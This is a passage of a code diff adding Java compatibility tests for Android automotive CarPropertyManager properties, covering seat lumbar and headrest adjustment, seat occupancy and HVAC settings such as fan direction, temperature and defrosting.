+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_LUMBAR_FORE_AFT_MOVE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues()
+                    .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testSeatLumbarSideSupportPosIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_LUMBAR_SIDE_SUPPORT_POS,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues().build()
+                    .verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testSeatLumbarSideSupportMoveIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_LUMBAR_SIDE_SUPPORT_MOVE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues()
+                    .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testSeatHeadrestHeightMoveIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_HEADREST_HEIGHT_MOVE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues()
+                    .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testSeatHeadrestAnglePosIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_HEADREST_ANGLE_POS,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues().build()
+                    .verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testSeatHeadrestAngleMoveIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_HEADREST_ANGLE_MOVE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues()
+                    .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testSeatHeadrestForeAftPosIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_HEADREST_FORE_AFT_POS,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues().build()
+                    .verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testSeatHeadrestForeAftMoveIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_HEADREST_FORE_AFT_MOVE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues()
+                    .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testSeatOccupancyIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_OCCUPANCY,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class)
+                    .setPossibleCarPropertyValues(VEHICLE_SEAT_OCCUPANCY_STATES).build()
+                    .verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testHvacDefrosterIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_DEFROSTER,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_WINDOW,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Boolean.class).build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testHvacElectricDefrosterOnIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_ELECTRIC_DEFROSTER_ON,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_WINDOW,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Boolean.class).build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testHvacSideMirrorHeatIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_SIDE_MIRROR_HEAT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_MIRROR,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Integer.class).requireMinMaxValues().requireMinValuesToBeZero().build().verify(
+                    mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testHvacSteeringWheelHeatIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_STEERING_WHEEL_HEAT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Integer.class).requireMinMaxValues().requireZeroToBeContainedInMinMaxRanges()
+                    .build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testHvacTemperatureDisplayUnitsIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_TEMPERATURE_DISPLAY_UNITS,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Integer.class).setPossibleConfigArrayValues(
+                    HVAC_TEMPERATURE_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray()
+                    .verifySetterWithConfigArrayValues().build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testHvacTemperatureValueSuggestionIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_TEMPERATURE_VALUE_SUGGESTION,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Float[].class).build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testHvacPowerOnIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_POWER_ON,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Boolean.class).setConfigArrayVerifier(configArray -> {
+                CarPropertyConfig<?> hvacPowerOnCarPropertyConfig =
+                        mCarPropertyManager.getCarPropertyConfig(VehiclePropertyIds.HVAC_POWER_ON);
+                for (int powerDependentProperty : configArray) {
+                    CarPropertyConfig<?> powerDependentCarPropertyConfig =
+                            mCarPropertyManager.getCarPropertyConfig(powerDependentProperty);
+                    if (powerDependentCarPropertyConfig == null) {
+                        continue;
+                    }
+                    assertWithMessage(
+                            "HVAC_POWER_ON configArray must only contain VehicleAreaSeat type "
+                                    + "properties: " + VehiclePropertyIds.toString(
+                                    powerDependentProperty)).that(
+                            powerDependentCarPropertyConfig.getAreaType()).isEqualTo(
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT);
+                    assertWithMessage(
+                            "HVAC_POWER_ON's area IDs must match the area IDs of power dependent "
+                                    + "property: " + VehiclePropertyIds.toString(
+                                    powerDependentProperty)).that(Arrays.stream(
+                            powerDependentCarPropertyConfig.getAreaIds()).boxed().collect(
+                            Collectors.toList())).containsExactlyElementsIn(Arrays.stream(
+                            hvacPowerOnCarPropertyConfig.getAreaIds()).boxed().collect(
+                            Collectors.toList()));
+                }
+            }).build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testHvacFanSpeedIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_FAN_SPEED,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Integer.class).requireMinMaxValues().setPossiblyDependentOnHvacPowerOn().build()
+                    .verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testHvacFanDirectionAvailableIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_FAN_DIRECTION_AVAILABLE,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_STATIC,
+                    Integer[].class).setPossiblyDependentOnHvacPowerOn().setAreaIdsVerifier(
+                    areaIds -> {
+                        CarPropertyConfig<?> hvacFanDirectionCarPropertyConfig =
+                                mCarPropertyManager.getCarPropertyConfig(
+                                        VehiclePropertyIds.HVAC_FAN_DIRECTION);
+                        assertWithMessage("HVAC_FAN_DIRECTION must be implemented if "
+                                + "HVAC_FAN_DIRECTION_AVAILABLE is implemented").that(
+                                hvacFanDirectionCarPropertyConfig).isNotNull();
+
+                        assertWithMessage(
+                                "HVAC_FAN_DIRECTION_AVAILABLE area IDs must match the area IDs of "
+                                        + "HVAC_FAN_DIRECTION").that(Arrays.stream(
+                                areaIds).boxed().collect(
+                                Collectors.toList())).containsExactlyElementsIn(Arrays.stream(
+                                hvacFanDirectionCarPropertyConfig.getAreaIds()).boxed().collect(
+                                Collectors.toList()));
+
+                    }).setCarPropertyValueVerifier((carPropertyConfig, carPropertyValue) -> {
+                Integer[] fanDirectionValues = (Integer[]) carPropertyValue.getValue();
+                assertWithMessage(
+                        "HVAC_FAN_DIRECTION_AVAILABLE area ID: " + carPropertyValue.getAreaId()
+                                + " must have at least 1 direction defined").that(
+                        fanDirectionValues.length).isAtLeast(1);
+                assertWithMessage(
+                        "HVAC_FAN_DIRECTION_AVAILABLE area ID: " + carPropertyValue.getAreaId()
+                                + " values all must all be unique: " + Arrays.toString(
+                                fanDirectionValues)).that(fanDirectionValues.length).isEqualTo(
+                        ImmutableSet.copyOf(fanDirectionValues).size());
+                for (Integer fanDirection : fanDirectionValues) {
+                    assertWithMessage("HVAC_FAN_DIRECTION_AVAILABLE's area ID: "
+                            + carPropertyValue.getAreaId()
+                            + " must be a valid combination of fan directions").that(
+                            fanDirection).isIn(ALL_POSSIBLE_HVAC_FAN_DIRECTIONS);
+                }
+            }).build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testHvacFanDirectionIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_FAN_DIRECTION,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Integer.class).setPossiblyDependentOnHvacPowerOn().setAreaIdsVerifier(
+                    areaIds -> {
+                        CarPropertyConfig<?> hvacFanDirectionAvailableCarPropertyConfig =
+                                mCarPropertyManager.getCarPropertyConfig(
+                                        VehiclePropertyIds.HVAC_FAN_DIRECTION_AVAILABLE);
+                        assertWithMessage("HVAC_FAN_DIRECTION_AVAILABLE must be implemented if "
+                                + "HVAC_FAN_DIRECTION is implemented").that(
+                                hvacFanDirectionAvailableCarPropertyConfig).isNotNull();
+
+                        assertWithMessage("HVAC_FAN_DIRECTION area IDs must match the area IDs of "
+                                + "HVAC_FAN_DIRECTION_AVAILABLE").that(Arrays.stream(
+                                areaIds).boxed().collect(
+                                Collectors.toList())).containsExactlyElementsIn(Arrays.stream(
+                                hvacFanDirectionAvailableCarPropertyConfig.getAreaIds()).boxed()
+                                .collect(Collectors.toList()));
+
+                    }).setCarPropertyValueVerifier((carPropertyConfig, carPropertyValue) -> {
+                CarPropertyValue<Integer[]> hvacFanDirectionAvailableCarPropertyValue =
+                        mCarPropertyManager.getProperty(
+                                VehiclePropertyIds.HVAC_FAN_DIRECTION_AVAILABLE,
+                                carPropertyValue.getAreaId());
+                assertWithMessage("HVAC_FAN_DIRECTION_AVAILABLE value must be available").that(
+                        hvacFanDirectionAvailableCarPropertyValue).isNotNull();
+
+                assertWithMessage("HVAC_FAN_DIRECTION area ID " + carPropertyValue.getAreaId()
+                        + " value must be in list for HVAC_FAN_DIRECTION_AVAILABLE").that(
+                        carPropertyValue.getValue()).isIn(
+                        Arrays.asList(hvacFanDirectionAvailableCarPropertyValue.getValue()));
+            }).build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testHvacTemperatureCurrentIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_TEMPERATURE_CURRENT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Float.class).setPossiblyDependentOnHvacPowerOn().build().verify(
+                    mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testHvacTemperatureSetIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.Builder<Float> hvacTempSetVerifierBuilder =
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_TEMPERATURE_SET,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Float.class).setPossiblyDependentOnHvacPowerOn().setConfigArrayVerifier(
+                            configArray -> {
+                                assertWithMessage(
+                                        "HVAC_TEMPERATURE_SET config array must be size 6").that(
+                                        configArray.size()).isEqualTo(6);
+
+                                assertWithMessage(
+                                        "HVAC_TEMPERATURE_SET lower bound must be less than the "
+                                                + "upper bound for "
+                                                + "the supported temperatures in Celsius").that(
+                                        configArray.get(0)).isLessThan(configArray.get(1));
+                                assertWithMessage(
+                                        "HVAC_TEMPERATURE_SET increment in Celsius must be "
+                                                + "greater than 0").that(
+                                        configArray.get(2)).isGreaterThan(0);
+                                assertWithMessage(
+                                        "HVAC_TEMPERATURE_SET increment in Celsius must be less "
+                                                + "than the "
+                                                + "difference between the upper and lower bound "
+                                                + "supported "
+                                                + "temperatures").that(
+                                        configArray.get(2)).isLessThan(
+                                        configArray.get(1) - configArray.get(0));
+                                assertWithMessage(
+                                        "HVAC_TEMPERATURE_SET increment in Celsius must evenly "
+                                        + "space the gap "
+                                                + "between upper and lower bound").that(
+                                        (configArray.get(1) - configArray.get(0)) % configArray.get(
+                                                2)).isEqualTo(0);
+
+                                assertWithMessage(
+                                        "HVAC_TEMPERATURE_SET lower bound must be less than the "
+                                        + "upper bound for "
+                                                + "the supported temperatures in Fahrenheit").that(
+                                        configArray.get(3)).isLessThan(configArray.get(4));
+                                assertWithMessage(
+                                        "HVAC_TEMPERATURE_SET increment in Fahrenheit must be "
+                                        + "greater than 0").that(
+                                        configArray.get(5)).isGreaterThan(0);
+                                assertWithMessage(
+                                        "HVAC_TEMPERATURE_SET increment in Fahrenheit must be "
+                                        + "less than the "
+                                                + "difference between the upper and lower bound "
+                                                + "supported "
+                                                + "temperatures").that(
+                                        configArray.get(5)).isLessThan(
+                                        configArray.get(4) - configArray.get(3));
+                                assertWithMessage(
+                                        "HVAC_TEMPERATURE_SET increment in Fahrenheit must evenly"
+                                                + " space the gap "
+                                                + "between upper and lower bound").that(
+                                        (configArray.get(4) - configArray.get(3)) % configArray.get(
+                                                5)).isEqualTo(0);
+
+                            });
+
+            CarPropertyConfig<?> hvacTempSetConfig = mCarPropertyManager.getCarPropertyConfig(
+                    VehiclePropertyIds.HVAC_TEMPERATURE_SET);
+            if (hvacTempSetConfig != null) {
+                ImmutableSet.Builder<Float> possibleHvacTempSetValuesBuilder =
+                        ImmutableSet.builder();
+                for (int possibleHvacTempSetValue = hvacTempSetConfig.getConfigArray().get(0);
+                        possibleHvacTempSetValue <= hvacTempSetConfig.getConfigArray().get(1);
+                        possibleHvacTempSetValue += hvacTempSetConfig.getConfigArray().get(2)) {
+                    possibleHvacTempSetValuesBuilder.add((float) possibleHvacTempSetValue / 10.0f);
+                }
+                hvacTempSetVerifierBuilder.setPossibleCarPropertyValues(
+                        possibleHvacTempSetValuesBuilder.build());
+            }
+
+            hvacTempSetVerifierBuilder.build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testHvacAcOnIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_AC_ON,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Boolean.class).setPossiblyDependentOnHvacPowerOn().build().verify(
+                    mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testHvacMaxAcOnIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_MAX_AC_ON,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Boolean.class).setPossiblyDependentOnHvacPowerOn().build().verify(
+                    mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testHvacMaxDefrostOnIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_MAX_DEFROST_ON,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Boolean.class).setPossiblyDependentOnHvacPowerOn().build().verify(
+                    mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testHvacRecircOnIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_RECIRC_ON,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Boolean.class).setPossiblyDependentOnHvacPowerOn().build().verify(
+                    mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testHvacAutoOnIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_AUTO_ON,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Boolean.class).setPossiblyDependentOnHvacPowerOn().build().verify(
+                    mCarPropertyManager);
+        });
+    }
+
+    @Test
